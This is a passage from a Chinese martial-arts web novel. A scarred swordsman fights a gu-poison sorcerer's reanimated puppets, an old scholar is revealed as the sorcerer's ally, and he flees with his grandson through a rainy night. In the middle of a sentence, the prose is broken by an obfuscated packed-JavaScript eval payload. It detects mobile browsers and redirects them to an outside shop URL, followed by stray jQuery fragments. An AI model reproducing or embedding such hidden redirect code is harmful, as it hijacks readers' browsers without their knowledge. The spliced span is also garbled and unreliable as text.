陆临与黄开秋心知情势危急,务必尽早将身中蛊毒的人全部刺倒,以免被咬伤的人越来越多。二人同时施展起轻功,两三个起落跃至看台,各自手执长剑,与这些因蛊毒而异变的人缠斗起来。 看台上被咬伤的很多是不会武功的普通人,就算中了蛊毒变成怪物,对陆黄二人也构不成什么威胁,二人一剑一个刺入身中蛊毒之人的心脏,这些人心脏一被破坏,登时倒地。 然而被咬伤的也有谷州刀派的门人,年轻一辈弟子、年纪稍大的门人,都有不幸被咬中的。虽然谷州刀派的武功平庸,漏洞不少,但蛊毒发作的时间太短了,不一会异变的人就越来越多,层层叠叠地向陆临和黄开秋围涌过去,再加上先前围住陆临的四名狱卒,陆黄二人也逐渐有些吃不消。 另一边唐奕才正跟夏篁缠斗无法脱身,而郑宝卿身边还剩下两个武功最厉害的狱卒将她拖住,其中一名正是鲍钟。 黄开秋一剑刺入一名谷州刀派门人的心脏,抬脚将其踢开。转头刚好看见陆临背后有一身中蛊毒之人正张嘴向她肩膀咬去,黄开秋一惊之下连声大叫:“陆师妹,背后!” 可此刻陆临的剑被一名狱卒用双钩牢牢锁住,她正使力将剑抽出,全副心思都在夺剑上,已然来不及躲开身后这一咬。 就在黄开秋拼尽全力也没能赶到陆临身旁,以为就要眼睁睁看着她被咬时,突然间白光一闪,那蛊毒傀儡从背后被一刀砍成两半,断口刚好在心脏处,他两条手臂也同时被齐齐截去,断肢从看台上滚落下去。 黄开秋定睛一看,一刀将蛊毒傀儡连心脏带人斩成两半的不是别人,正是那疤脸汉子木姜。 先前郑宝卿去邀请木姜协助他们对付夏篁,木姜没有回应。之后双方正式动上手,木姜也是静静地站在一旁,并无动作,似乎跟在场的其他人一样,并不想掺和进这件事。然而此刻不知为何,他突然出手了。 木姜将刀一甩,刀刃上的血便密密点点洒在地上。他快步上前,紧接着又斩出了第二刀。 只见他左突右奔,在场中四处游走,沿路出刀,不一时,身中蛊毒的人就已被他料理尽了。包括那四名狱卒,也被他分别用了一两招、两三招拿下。 这疤脸汉子甫一加入战局,先前一边倒的形势就顷刻反转。 木姜处理完这边后,丝毫没有停留,右脚在看台栏杆上一踩,倒纵出去,径朝夏篁而去。夏篁跟唐奕才相斗正酣,忽觉背后有异,一回头只见那疤脸汉提刀径向自己而来,赶忙一剑挥出,先将唐奕才刺来的一剑化解了,化解了唐奕才那一剑后,剑势不衰,再顺势一拖,剑刃与木姜长刀刀身相击,夏篁借力向后跃出数丈才站定。 他站定后咬了咬牙道:“你究竟是什么人?为什么要来多管闲事?” 木姜只道:“亮招。” 夏篁正待要怎样,却突然停下了动作。 只见他嘴角一勾,道:“雨老爹,你怎么现在才来?”他说这话时仍看着木姜等人,一时间众人不知他是在自言自语还是在和其他人说话。 听到“雨老爹”三个字,雨馀凉却是一惊,一种奇怪又可怕的预感在他心中扩散开来。 一个矮小的身影从夏篁身后的回廊阴影下缓缓走出。 那矮小身影道:“夏先生,有老朽相助,在场的这些人,都不会是你对手。” 雨馀凉浑身的血液似乎都停止了流动。 11. 终到头来事事休(二) 从某种角度说,雨休其实算是夏篁的老师。 雨休临敌应变之能奇差,武功实在谈不上好,却能认出不同门派的招式并进行整合分类,所知广博,实在令人叹为观止。而夏篁是习武之人,雨休将不同武功招式的法门告诉夏篁,夏篁便能一一拆破。 夏篁本就是高手,而雨休也是不可多得的武学理论奇人。夏篁找上雨休后,后者将自己多年来整合后的理论告知前者,更是点出很多看上去风马牛不相及的武学流派招式的相通之处。 夏篁是个聪慧之人,经过提点,自己又钻研演练了一段时间,武功便更上了一层楼。 夏篁不像雨休那般能将这许多招式无论巨细都记在心中,更何况就算是同一套武功的同一招,不同的人使出也带有使用者自己的特点,相似精微之处一般人极难辨识。但雨休厉害就厉害在这里,他能够精准看出任意一人的武功家数流派,并说出那人所使每一套武功的特点,还能立即点出别门别派与之相似的招式,有雨休在旁,夏篁应敌的能力便能大大提升。 就比如现在和木姜相斗,夏篁有时能应付裕如,有时便略有阻滞。但木姜每使出新的一招,雨休都能说出这是哪一派的哪一招,夏篁无需自己去观察分辨,只用根据雨休的提示进行拆解即可。有时遇到无法拆解的来招,雨休会立即让夏篁以他熟悉的相近招式进行破拆,就算效果没那么好,但以拆解相似招式的手法破拆,多少也能起作用,不至于像先前那样,被木姜的变招打得措手不及。 雨休出现后,便将木姜使出的每一招都报出了名。木姜略微回头看了雨休一眼,之后像是要确认什么似的,接连变招,雨休更是一招招、一项项都说了出来。 此时看台上不同于先前的人山人海,只零星站着几个人了。经历了方才的风波,绝大多数人都不愿意继续留在原地用命看热闹,只剩下一些胆子大的还站在那,但也站在离出口不远处,方便一有什么不对劲就跑路。还有几人,他们倒不是留下来看热闹的,只是因为他们是跟着自己的亲人一起来看大较的,来的时候高高兴兴,不想突然遭此横祸,亲人被咬伤,传染了蛊毒,之后又被陆临、黄开秋和木姜刺中心脏杀死。他们站在教武场入口附近,迟迟不肯离去,又不敢走进去查看成了怪物后又被杀死的亲人,想找陆临等人讨要一个说法也不敢,只能一边垂泪一边往里张望。 山鬼和河伯也没有走。 早在之前山鬼见雨馀凉摔下看台,处境十分不妙时,便想出手。河伯见她有起身的趋势,一把拦住道:“此事与我们无关,不要节外生枝,给少主惹来不必要的麻烦。”山鬼听了他的话,尽管十分不忍,却还是稳住了身形,到底没有出手,之后见到那疤脸汉子木姜救下了雨馀凉,这才舒了一口气。同时,山鬼斜眼觑向河伯,没想到河伯的那个“仇人”竟在此处出现,山鬼不知河伯看到这一幕会是什么反应。 河伯倒是冷静,陡然见到木姜时身子只是略微一僵,之后也只静静地站在看台上看戏。 此刻见到木姜与夏篁相斗,二人招式尽皆精妙繁复,河伯突然道:“幸亏那时没与这家伙起正面冲突,不然我不一定弄得过他。” 山鬼听了他的话,心中一动,继续凝神观看二人相斗。 河伯又道:“也是个武功驳杂的家伙,我虽不能看出他的所有招式来源,却也知道,从方才到现在,他已经换了至少十路刀法来使了。”他冷笑一声:“若不是有个老头子在一旁指点,这个叫夏篁的估计已经败下阵来了。” 山鬼听出河伯那声冷笑里有些许心酸之意,她先前就看出,这夏篁的武功似乎还在河伯之上。而夏篁都不能在这疤脸汉子的手下走多少招,河伯复仇的心愿又何时才能实现呢? 河伯抬了抬头,道:“他又换了一路刀法了。”他一顿,轻声道:“现在这套刀法,总让我想起一个人。” 山鬼听见,问:“谁?” 河伯道:“韩长泉。” 山鬼在脑海中搜索了一阵这个名字,忽然惊道:“是那个照水帮的……” 河伯道:“不错,照水帮韩长泉号称精通一百零六路掌法,其中有一套掌法叫什么雀什么夷掌的,这家伙现在使刀的样子就给我那套掌法的感觉。说来奇怪,那套掌法本来无甚威力,到这家伙手底下却招招都是杀着。但仔细一看,两者又并不相同。” 与此同时教武场中,雨休道:“他这几招倒像是曙雀辛夷掌,只不过掌法融进了刀法中。” 夏篁一边招架,一边连着倒退了十数步,显是不擅长应付这套刀法。偏偏雨休说完这套刀法的名称后就再未开口了。夏篁被逼得手忙脚乱,心中暗骂:怎么不说下去了?知道名字有什么用?他要知道的是如何应对。 雨休心中也正自纳罕,曙雀辛夷掌是水西铁树派的一套掌法,但除了姿势优美之外并没有什么特别之处,加之威力着实不够,会这套掌法的人只是把它作为花拳绣腿平日里耍着玩,供人观赏,几乎没有什么人在实战中使用。可今日看到木姜使出来,可跟传闻和记载中的大不一样。 夏篁眼见自己就要招架不住,忽然长袖一挥,立时有不少毒蛇毒虫朝木姜脸上飞去。木姜一惊,慌忙以袖捂住口鼻,偏偏此时他人又在半空中,无法立时后退,只得侧身闪避。若是寻常暗器,挥刀弹开也就是了。但木姜知道,蛮疆人下蛊毒的方式千奇百怪,其中一种就是打斗时将以蛊毒饲喂的蛇蝎蛛虫抛出,对手往往以为将这些会咬人的活物砍死就可以不再理会,然而一旦将这些东西砍碎,蛊虫虫卵或泌出的毒素就会被对手吸入体内,十分阴险。何况就算没有蛊毒,木姜也不想用自己的刀去砍这些玩意,毕竟爆出的浆……噫,想想就恶心。 夏篁武艺也确是不俗,木姜这么狼狈一避,就给他寻到了一丝破绽。黑紫短剑如同毒蛇一般倏地刺出,木姜此刻仍尚在空中,将落地未落地的样子,无暇再花心思以五花八门的刀法应对,只下意识以最原始的方式挥出一刀,刀刃方与短剑相接,便贴着短剑剑身直削夏篁握剑的手,夏篁立时缩回右手,左掌从侧面向木姜右肩头拍出。木姜亦伸出左掌从自己右臂上方穿过,与夏篁两掌相击,砰的一声,两人各自飘出数丈。 先前一直没有说话的雨休此时又道:“这一刀,这一刀……似乎不属于任何流派,但其中却隐隐有无涯派外家功夫的影子。”木姜心想,无涯派?什么无涯派?这老人虽说对了他那么多招式,这下却也看走了眼。 忽然之间,木姜心头大震,不,不,还有一种可能,他不是看走了眼,是自己从小所修习的武功本就属于这个叫做无涯派的门派,只不过自己以前从来不知道罢了! 木姜先前听夏篁叫这位老人“雨老爹”,接着又听他将自己随手使出随意变化的每一招说得分毫不差,便几乎确定了这老人就是看管谷州刀派藏书阁的那位雨姓老者。只是木姜不愿在众目睽睽之下使出自己原本流派的武功,便想着等这件事完了后找个僻静的地方单独询问这老者。到底人算不如天算,木姜没想到的是,夏篁竟以毒虫逼得他情急之下使出了自己原本的武功,然后又被那雨姓老者看了出来。 木姜落地站稳后,眼神射向雨休。后者站在夏篁身后,浑浊的双眼看着他,目光充满了警惕与敌意。 也好,如若自己特意去问,这老人家还不一定会告诉他。 此刻雨休心中也在想,这人倒也不简单,他不断变换各家招式,显是对武功的涉猎也极广博,不知是什么来头?又为何掺和进这件事中? 先前,唐奕才见木姜和夏篁动上了手,便赶去郑宝卿那边帮她料理剩下的两个狱卒。二人合力让最后两个蛊毒傀儡倒下后,便望向了木姜与夏篁所在的方向。最初见木姜占了上风,二人对视一眼,都从对方眼里看到了希望。后又见夏篁抛出毒虫等物,差点让局势反转。而此刻木姜站在原地一动不动,似乎正自出神,唐奕才和郑宝卿二人离得远,不知他是不是着了毒虫的道。 唐奕才道:“我去帮忙。”他才踏出一步,就听雨休阴森森道:“夏先生,这人是水西来的,你之前有得罪过水西那边的朋友么?” 唐奕才和郑宝卿俱是一怔,唐奕才前趋的身形便这么停滞在空中。 夏篁还未答话,雨休便接着道:“除那套从掌法中化出的“曙雀辛夷刀法”外,他使的虽全是水南各派的武功招式——可见他有意隐藏自己的身份,但看他出招的动作,处处都透着水西武功的影子,水西那个味还是浓。” 在场之人面面相觑,这要怎么看出来?都不禁对这矮小的老头另眼相看。 但这些都不重要了,“水西”二字让唐奕才和郑宝卿心中警铃大作。 河伯在看台上,懒懒道:“现在才看出人是水西来的?也太迟钝了。” 山鬼道:“又不是人人都像你一样身怀奇技,若不靠对内力的感知,你能仅凭招式看出来?这人使的还几乎全是水南的招式,就这样那老者都看出他来自水西,你能么?” 河伯道:“那个曙什么辛什么掌法我不是看出来了?这不就是水西的武功?” 山鬼道:“曙雀辛夷。” 河伯道:“管他什么辛夷,反正我看出来了。嗯,我还是挺厉害的。” 山鬼瞟了他一眼,道:“若这人是个水南的,使了那套水西铁树派的曙雀辛夷掌,你却能从他的动作看出他来自水南,我就服你。” 再看较武场中,雨休说出木姜来自水西后,唐奕才、郑宝卿以及夏篁都以一种奇怪的目光看向木姜。 河伯道:“水南的人真的都好讨厌水西的人诶。”这些人先前都还相互敌对,知道那疤脸汉子木姜是水西来的之后,就都看着他不动了。 山鬼道:“你怎么知道夏篁就一定是水南的?水南武林不像我们,内部团结得很。过来搞重云门和琥沙派掌门,多半是水西的人吧。” 河伯道:“我也不确定,姑且这么一说而已。但我觉得他多半是水南的人,毒蛊可不是随便来个人都能玩得转的,蛮人在这方面确实有天赋。而且你看他瞅那疤脸汉的表情,啧啧,水南人看水西人都是那种表情。你看那老头,还有郑宝卿和唐奕才,眼神是不是和他一样?” 教武场中,木姜笑了一声,道:“诸位,在下的出招方式或许有水西的影子,可也只能说明在下的授业之师或许与水西有渊源而已。这不能说明在下来自水西,更不能说明,在下与水西的某些势力有关联,不是吗?” 他说的倒也有理。 郑宝卿和唐奕才,夏篁和雨休,双方人马都回过神来,此时此刻,木姜究竟是不是来自水西并不重要。对夏篁来说,木姜来自哪里与他没有任何相干,最要紧的是达成他今天来这的目的。而对郑宝卿和唐奕才来说,眼下木姜似乎是站在他们这边的,若是没有木姜,情况还不知道发展成什么样子。 夏篁觉得自己接下来应该思考如何除去木姜这个阻碍,而唐奕才和郑宝卿则在想,怎么让木姜继续帮他们对付夏篁,至于木姜的身份,等眼下的难关过去后再弄清楚不迟。 就在双方各自暗暗盘算时,忽然从旁边传来一道细微的声音:“……爷爷。” 雨休听到,身躯一震,慌忙向旁边看去。从下午闹腾到现在,已是暮色四合,光线极其昏暗。雨休看了一圈,才好不容易看见缩在看台角落的雨馀凉。 雨休连忙过去,走到看台的楼梯前,双手把住扶手栏杆就要抬脚上去,雨馀凉不忍雨休爬梯子,忙自己走下看台,来到雨休跟前。 雨休道:“凉儿,你……你怎在这里?”嗓音中难掩秘密被发现的慌乱与苦涩。 往年大较,雨馀凉都是自己那场比试完就绝不会再回门派了。雨休以为今年也会是这样。 雨馀凉道:“我下午一直在这。”他本来还想说些什么,但眼神越过雨休的肩膀,看到夏篁、唐奕才、郑宝卿、木姜等一众人都瞧着自己,惊觉现在不是说这些的时候,便也沉默了。 但他有很多话想要问雨休,爷爷为什么会跟那个叫夏篁的人在一起?他难道就是爷爷之前说的,很看重爷爷才能的贵人?爷爷要带自己去绵作,是不是也是因为他? 早些时候,雨馀凉看到从回廊下走出的人是雨休,且种种迹象显示雨休和夏篁是一伙的时候,雨馀凉也懵了,脑海中一片空白。 鲍楚楚之前已哭晕过去,被人抬到看台上。此刻刚刚醒来,便看见雨休和那害了自己父亲的恶人在一起。雨休离她太远,她又刚好看见雨馀凉在看台上,就在离自己不远处。雨馀凉是雨休的孙子,他会不会早就知道雨休的计划?于是鲍楚楚推开旁边的人,扑过去揪住雨馀凉的衣领,眼里满是悲伤仇恨,道:“你还我爹,你还我爹!” 古叶千赶紧上前扯住鲍楚楚的手,道:“鲍师姐你冷静点!这件事,馀凉不一定知情!”他停了停,又转头看着雨馀凉,眼神里满是不确定,道:“馀凉你的确不知情,对吗?” 雨馀凉听出,古叶千的声音里也充满了不确定。 其实不只雨馀凉对雨休和夏篁的合作一无所知,连雨休也不知道夏篁自作主张将九寒山牢的狱卒下了蛊毒,做成了蛊毒傀儡。 之后夏篁驱使蛊毒傀儡攻击看台上的人,人们四散奔逃。古叶千见雨馀凉还停留在原地,大喊道:“馀凉,快走!” 雨馀凉看向古叶千,嘴唇翕动了几下才开口道:“叶千,你……你先走吧。” 古叶千吼道:“你傻吗?这种局面,那两位临蓟来的掌门看上去都摆不平了,你留在这,等死吗?” 雨馀凉不知道说什么,他心里乱的很,各种情绪混杂在一起,只对古叶千摇摇头。 古叶千劝说无果,最终还是随着众人一起逃离了教武场。 鲍楚楚也不想走,却被谷州刀派的一位师叔打晕带走了。 这之后雨馀凉就一直躲在看台角落直到现在。 夏篁的声音冷不丁从雨休背后传来:“原来他就是你的孙子?雨老爹,你应该早跟我说的,刚刚差点让他去见了阎王呢。” 雨休没有说话,只关切看着雨馀凉。 夏篁道:“雨老爹,既然令孙没事,可否先来助我?” 看台上,河伯打了个哈欠,道:“还不撤退?现下蛊毒傀儡都倒下了,就算有那老者辅助,他不会觉得自己能一个打五个吧。” 山鬼还沉浸在对雨馀凉是与夏篁一伙的老者的孙子这个事实的震惊中,答话答得有些心不在焉:“看他毫不慌张,应该还有底牌。” 河伯道:“也是。” 山鬼道:“真没想到,这两人居然是爷孙。” 河伯愣了愣,很快想到山鬼说的是雨馀凉和雨休,道:“确实,刚刚我也挺吃惊的。不过有这样的爷爷,孙子的武功不该是那种程度啊。” 较武场中,唐奕才道:“别折腾了,难道你还以为自己有胜算不成?” 夏篁没有回答他,只哼哼笑了两声,自顾自地道:“生可以死,死可以生。这苏生蛊虽比不得死生蛊,效用却也十分接近了。” 陆临微微侧头,似乎闻得有嘶嘶声响从哪里传来,低头一看,不由得背脊发麻。 不知何时,周围地上便爬了数十条黑蛇,这些蛇不算大,三角形的头长在细长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717286|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的身躯上,波浪般游走蠕动,带给人的恶心感远远多于恐惧。 这些蛇是什么时候有的?光线昏暗,先前竟没能注意。 更诡异的是,本来倒在地上的狱卒突然抽搐起来,接着便以扭曲的姿态爬起。每一个狱卒爬起身后,他们身下都游出一条细线般的黑蛇。 夏篁道:“这蛊珍贵着呢,若不是今天非得让你们丧命于此,我可舍不得用在这些东西身上。”他低低骂了一句:“什么九寒山牢?活着是废物,死了也是废物。” “可这些废物若能拖住你们一时半刻,也算是尽了他们的用处了。” 木姜环顾四周,只见除了夏篁最开始带来的那二十几名狱卒外,之后被咬而变成蛊毒傀儡的人也重新爬了起来。 夏篁方才说的苏生蛊是什么东西?竟然有这种效用! 唐奕才,郑宝卿,陆临,黄开秋都横剑当胸,摆好了迎敌的架势。 随着夏篁的笛音一声令下,这些蛊毒傀儡狂躁地嘶吼着冲向了唐奕才等人。唐奕才恶狠狠叹了口气道:“今天还没完没了了!” 趁众人对付蛊毒傀儡,夏篁跃至雨氏爷孙身前,低声道:“你们快走,我随后就到,在东城门外的树林里会合。” 雨休道:“夏先生您一个人……” 夏篁道:“你以为我要跟他们拼了?我这样做,不过是为了我们都能脱身。我以蛊毒傀儡先拖住他们,你们便趁机离开,哼哼,苏生蛊可不是那么好对付。你走了,他们留不住我。你若不先走,我带着两个不会武功的人,离开更难。” 雨休道:“既是如此,我们就先走一步了。”说罢大力拉着雨馀凉的手腕就走。 夏篁见他们离开,复又转身,自己也加入战局。 唐奕才等人很快便发现,这些重新站起来的蛊毒傀儡,就算再破坏他们的心脏,也已经无济于事了,看来是那叫什么苏生蛊的东西起了作用。 郑宝卿脑筋活泛,大声道:“既然已经无论如何也杀不死了,先试着挑断他们的手脚筋,让他们失去行动能力,其他的事后面再说。” 其余四人会意,均将注意力集中在这些蛊毒傀儡的手腕和脚后跟处,寻找机会出手。 夏篁身法如鹰,由上而下一掌向木姜拍去。木姜才刚割断一个狱卒的左脚脚跟,见夏篁攻来,刀身一竖,刀尖对准夏篁的掌心。夏篁手腕一翻,灵活变招,一掌仿佛变成千掌万掌,每一掌都攻向木姜的手掌手腕手臂,他虽没有出剑,只以空手对上木姜的长刀,却逼得后者长刀施展不开,处处受制。 突然之间,夏篁手上又疾速变招,使的赫然便是水南十三路擒拿手第六路中的第八式,谢岚星在比试前一日挑衅雨馀凉,后者就是为这招所制。与此同时,七八个狱卒同时从不同方位攻向木姜。 唐奕才在与蛊毒傀儡相斗的间隙瞧见木姜这边的情况,他是水南大派的掌门,自然知道这招作为水南习武入门招式的擒拿手的优缺点——很好避开,然而一旦没能避开,便怎么也挣脱不了。木姜的武功应当在在场所有人之上,这样的招式,如何擒他得住?他轻而易举便能躲开了。所以夏篁便驱使蛊毒傀儡,阻住木姜的所有退路。他用来封住木姜行动的毒蛊傀儡全是九寒山牢的狱卒,没有一个是后来被咬中了蛊毒的谷州刀派弟子或普通人,这些狱卒生前的武功更强,他们组成的包围网轻易还突破不了,夏篁此举,也是要尽全力在这一招上将木姜拿下。 唐奕才想,狱卒武功虽然不低,但以这疤脸汉子的身手,要拦住他却也不易,夏篁这招擒拿,还是要扑个空。 不想那疤脸大汉竟不闪不避,挺刀径直朝前攻去。 唐奕才一惊,心想难道他不识此招?眼看木姜立时就要吃亏,却见后者刀刃一转一挑一刺一削,竟倒逼得夏篁匆忙变招,然而变招后的路数也被封死,夏篁只得撤势收招。这招在水南人人都只以闪避应对的擒拿,竟就这样被拆解了。夏篁本欲以狱卒阻住木姜退路,不想自己反被他逼得倒退数步。 唐奕才震惊之余,木姜已然转身,长刀一扬,在空中划了个大大的弧线,周围的八名狱卒右腕几乎在同一时间被刀刃所伤。他们手筋受损,手中兵器纷纷落于地下。 木姜再回过身时,夏篁已提起轻功跃至数丈之外。他轻功也好生了得,夜幕下较武场四周的屋檐已成了漆黑幽暗的影子,不过眨眼一瞬,他的身影便消失在了重重黑影之后。 木姜站在原地,望向夏篁离开的方向,脚将抬未抬,似乎在迟疑要不要追赶。忽然身后响起一阵惊呼,唐奕才和木姜同时回头看去,原来是有三名狱卒跟重云门的少年弟子们动上了手,一名弟子不敌,手掌连着手臂被狱卒手中的柳叶刀划了条老长的口子,另一个狱卒张开大口就朝这名弟子的手臂咬去。 黑夜中银光划过,千钧一发之际,木姜放弃了追击夏篁,闪身来到那名重云门弟子身侧,一刀插进了这名狱卒的嘴里。狱卒被大力掼在身后的墙上,刀尖从后脑勺刺出,木姜手上再一使力,这名狱卒的上半张脸飞出,只剩下颌还与脖颈相连。 解决完这边后,木姜要去对付其他蛊毒傀儡,刚一转身,不想那整个头只剩下巴的狱卒立即又站了起来,动作自然,就像方才只是摔倒了一样,只是他没了眼睛,先伸出双手不断摸索着自己下巴上的断口、裸露出来的牙齿,又在自己前面胡乱摸索着空气,样子着实诡异可怖。 木姜在重云门众弟子的惊叫声中回过头来,看到眼前的景象,心里也颇受冲击。 这苏生蛊当真邪门! 于是只得按部就班将这名狱卒的手筋脚筋尽皆挑断,随后在木姜与唐奕才等人的共同努力下,才终于将所有蛊毒傀儡手脚筋都挑断。唐奕才带着黄开秋在谷州刀派的房舍里找出了些绳子,将这些手脚无法动弹的蛊毒傀儡三个四个地绑在一起,又小心翼翼地往每个傀儡的嘴里塞了布团等杂物,防止他们再咬到人。 从下午闹到晚上,总算暂时有了了解。木姜往看台上望去,那里先前似乎还站着一男一女,就是大多数人都离开那阵,这两人也没走,其他胆子大留下来看热闹的也是站在较武场出口处,这两人却一直站在看台中间。 而现在那里已经一个人都没有了。 木姜的目光在看台上停留了一会。唐奕才和郑宝卿对视一眼,唐奕才上前拱手道:“此番多谢兄台搭救,敢问兄台高姓大名?”唐奕才本意是要和木姜拉近关系,他虽不知道木姜为何要出手帮他们,但现在至少能确定木姜对他们没有歹意。今天下午这场风波,有很多事需要善后,这里离临蓟又远,有木姜的协助,很多事情会好办很多。 何况,如今盟主正愁无人可用,若能将这疤脸汉子招揽至盟主麾下,于他们水南武林是一大助益。 木姜转过头来,看了看唐奕才,再看向后面的郑宝卿,最后又看着唐奕才,道:“两位掌门,你们可知那驱使毒蛊之人的来历?” 唐奕才一愣,随即摇了摇头,道:“并不清楚,如果我们知道,也不会在他一开始出现的时候问他是谁了。” 这夏篁大约也来自水南,木姜本盼望同为水南人士的唐奕才和郑宝卿二人在打斗间能看出这人的招式流派,听唐奕才如此说,心中有些失望。 唐奕才方才问木姜姓名,反被木姜以别的问题岔开,后者最终也没说自己姓甚名谁。正当唐奕才犹豫着要不要再问一遍时,木姜却开口道:“此间危机已除,二位掌门,告辞。” 说着便纵身跃上看台。唐奕才一惊,踏上两步叫道:“兄台留步,兄台……”话还未说完,木姜就已一跃而下,消失在看台的另一头。 12. 终到头来事事休(三) 木姜将背在背上的斗笠戴在了头顶,提起轻功一阵飞檐走壁,不多时便来到了雨氏爷孙的住所。 下午还是毛毛细雨,到了晚上雨势便转大了,噼里啪啦地打在石板路面上,溅起一朵朵水花。 小巷中黑黢黢的,木姜落在屋门口,透过窗户看去,屋里也是一片漆黑,连一盏灯也没有点。 木姜上前几步,踏上台阶,将手放在门上。不想房门只是虚掩着,他才把手贴上去,只听得“吱呀”一声,门自己就开了。 木姜在门外站了一会,最终还是走了进去。甫一踏进屋内,风声雨声一下就变小了,似乎隔了一层屏障一般。尽管木姜不曾在这里住过,却也感到被一种踏实的感觉紧紧包围。 无论对雨馀凉还是雨休来说,不管他们在外面遭受了什么,这里都是爷孙二人遮风避雨的港湾,是能让他们暂时喘口气,感受家人温暖的安乐所在。 木姜浑身被雨淋得湿透,雨水顺着衣角、斗笠边缘滴答滴答地落在屋中地上。 他没走几步,便一脚踏在了什么东西上,发出一声窸窣脆响。木姜低头,只见脚下踩着一页纸,弯腰捡起来,也看不清上面写了些什么,但在黑暗中行进了这么久,眼睛多少适应了一些,也依稀能看到上面是些文字,文字旁似乎还有图画。 虽然木姜也有些在意纸上的内容,但他还是先将这页纸放在了旁边的木桌上,环顾起四周来。 屋内凌乱,桌椅歪斜,地上四处散落着杂物。 看来人走得很匆忙。 就在这时,屋外响起一阵人声,原来是谷州刀派掌门赵恬带着一群人也来到了这里。 赵恬满脑子都想着:倒霉,倒霉!本以为临蓟那边的贵人来观摩门派的大较是件喜事,不想之后竟会朝这个方向发展! 先前那个叫夏篁的不知道哪里来的瘟神突然出现他们谷州刀派,二话不说就和郑宝卿唐奕才动上了手,他这个掌门就这样被晾在了一边。之后更是看到雨休和夏篁是一伙的,好家伙,雨休再怎么说也还算是他们谷州刀派的人,如果不及早说清楚,他们谷州刀派可就跟邪魔外道撇不清干系了。 事后追起责来,稍有差池,他赵恬的人生可就提前结束了! 就在其他人看热闹看在兴头上、他赵恬却在绞尽脑汁苦想之后怎么跟唐奕才和郑宝卿解释时,那个叫夏篁的疯子竟然驱使手下的怪物来攻击看台上的人。这一下着实把他吓得魂飞天外,在几个弟子的搀扶下好不容易逃出门派,之后坐在一名弟子家中厅堂上吃着根香蕉压惊,好不容易才稍稍缓过神来。 冷静下来后,赵恬突然想到,自己是谷州刀派的掌门,事情出在他们门派,他就这样将唐奕才和郑宝卿扔在那里自己逃了,之后可不好解释。赵恬思来想去,脑中灵光一闪,想出一个绝妙的理由,自己何不去雨休家中看看?到时候就说他是第一时间寻找证据去了。若是找到了雨休与夏篁或其他人往来的信件之类,自己再呈给唐奕才和郑宝卿,不仅能证明自己对雨休的所作所为一概不知,而且假若唐郑二人怪罪自己识人不明,竟把这样的祸害留在谷州刀派,他找到了有关键信息的信件,也可算是将功折罪了。 赵恬本来满心忧虑,想到这里,心中又是一喜。说干就干,当即就带着一群弟子来到雨休的住处。 然而刚到门口,就发现不仅房门开着,屋里还已经站了个人。 木姜背对着他们,一个人站在屋子中间,一动不动。 若是平时,赵恬已经让手下弟子上前询问“阁下是哪位”了,但经历了今天下午的种种事,他心中唯有“万事谨慎”四字,也不敢轻易开口了。 木姜忽然转过头来,赵恬等人俱是一悚。看清眼前的几人似乎都是谷州刀派的人后,木姜问道:“谷州府一共有几道城门?” 赵恬从旁边的弟子手中接过灯笼,大着胆子盯着木姜的脸看了一会后,才认出后者似乎就是下午帮忙出手对付夏篁的疤脸汉子。 应该是友军。 赵恬微微松了口气,却也有些惊讶道:“大侠?大侠是追雨休追到这里来的吗?那个夏……那恶人,是否已经束手就擒?” 木姜道:“夏篁逃走了,你说的那个雨休,也逃了,和他孙子一起。”说完心想,原来那雨姓老者的确是雨休本人。 赵恬听罢,说道:“啊这……”木姜看向屋内满地狼藉,道:“先前打斗时,我隐约听见夏篁跟雨休说‘城外’什么的,想是要在城外什么地方汇合。看这样子,人已经收拾东西走了。”木姜又看向赵恬,“敢问谷州府东南西北四方各有几道城门?我们现在站的这块地方离哪道城门最近?” 赵恬道:“谷州府狭长,南北各有五座城门,东西各一座。此处刚好位于谷州府中心的位置,因此到东西城门,或到南北城门的距离是差不多的……” 木姜沉吟一阵,快步走出屋外,原本站在门口的谷州刀派众人下意识地让开一条路。只见木姜走到门口,施展起轻功,眨眼间便消失在雨幕之后。 这会已是亥牌时分,城门刚关。木姜来到南面的一座城门前,从城墙上方跳了过去。他身法轻巧迅疾,城墙上的守卫并未发现。 木姜不知道雨氏爷孙会从哪个城门出城。只是经过下午这么一闹,他们应该知道自己会成为追捕对象,不会在城内多耽,无论出城后是去往哪个方向,大约都是选择最近的路线先出了城再说,否则唐奕才和郑宝卿解决完那头后回过神来,命人将所有出城路径一封,再全城搜捕他们,就万事皆休。 这么一来,南面和北面的城门就成了首选,因雨家住宅距南北城门较东西城门路途更短。木姜只能先由南城门和北城门往城外南北郊都去看看,如果仍找不到他们踪迹,就得转向东郊西郊去找。 若找不到,也只得作罢。 浓重夜色中,雨越发下得大了。 雨馀凉举伞遮住雨休和自己,一肚子怨气和怒气。 从家到北城门这段路,他和雨休尽可能地选择了窄道小巷穿行,出城还算顺利,看来夏篁真个把唐奕才等人拖住了。 从北城门出去后,两人却不往大路上去,雨休引着雨馀凉走上了往西的一条小路。小路泥泞,很不好走。两旁林木茂密,雨夜中四周更是漆黑一片,辨路极是不易。雨馀凉说要把背上行囊里的风灯拿出来点亮,雨休道:“千万不可点灯,保不齐追兵就在附近,夜色中灯光醒目,稍不留神就会就暴露了我们的位置。一旦被抓回去,下场比现在艰难行路凄惨万倍。” 雨馀凉听了,只得作罢。往上提了提背上的包裹,又把伞往雨休那边靠了靠,继续赶路。 这雨虽然不像夏天的暴雨那么猛烈,却也着实不小。雨馀凉深一脚浅一脚地走着,有时脚踏下去,从鞋外到鞋里渐次冰凉起来,雨馀凉便知道是踩入了水坑。走上这条小路之前,雨馀凉的两只鞋里就多多少少进了水,在小路上摸黑走了一阵后,更是感到鞋里灌满了水,两只脚就如同整个浸泡在水里一般,每一步踩下去,都发出一声清脆的空响。 一阵风呜咽着刮过后,雨更大了。 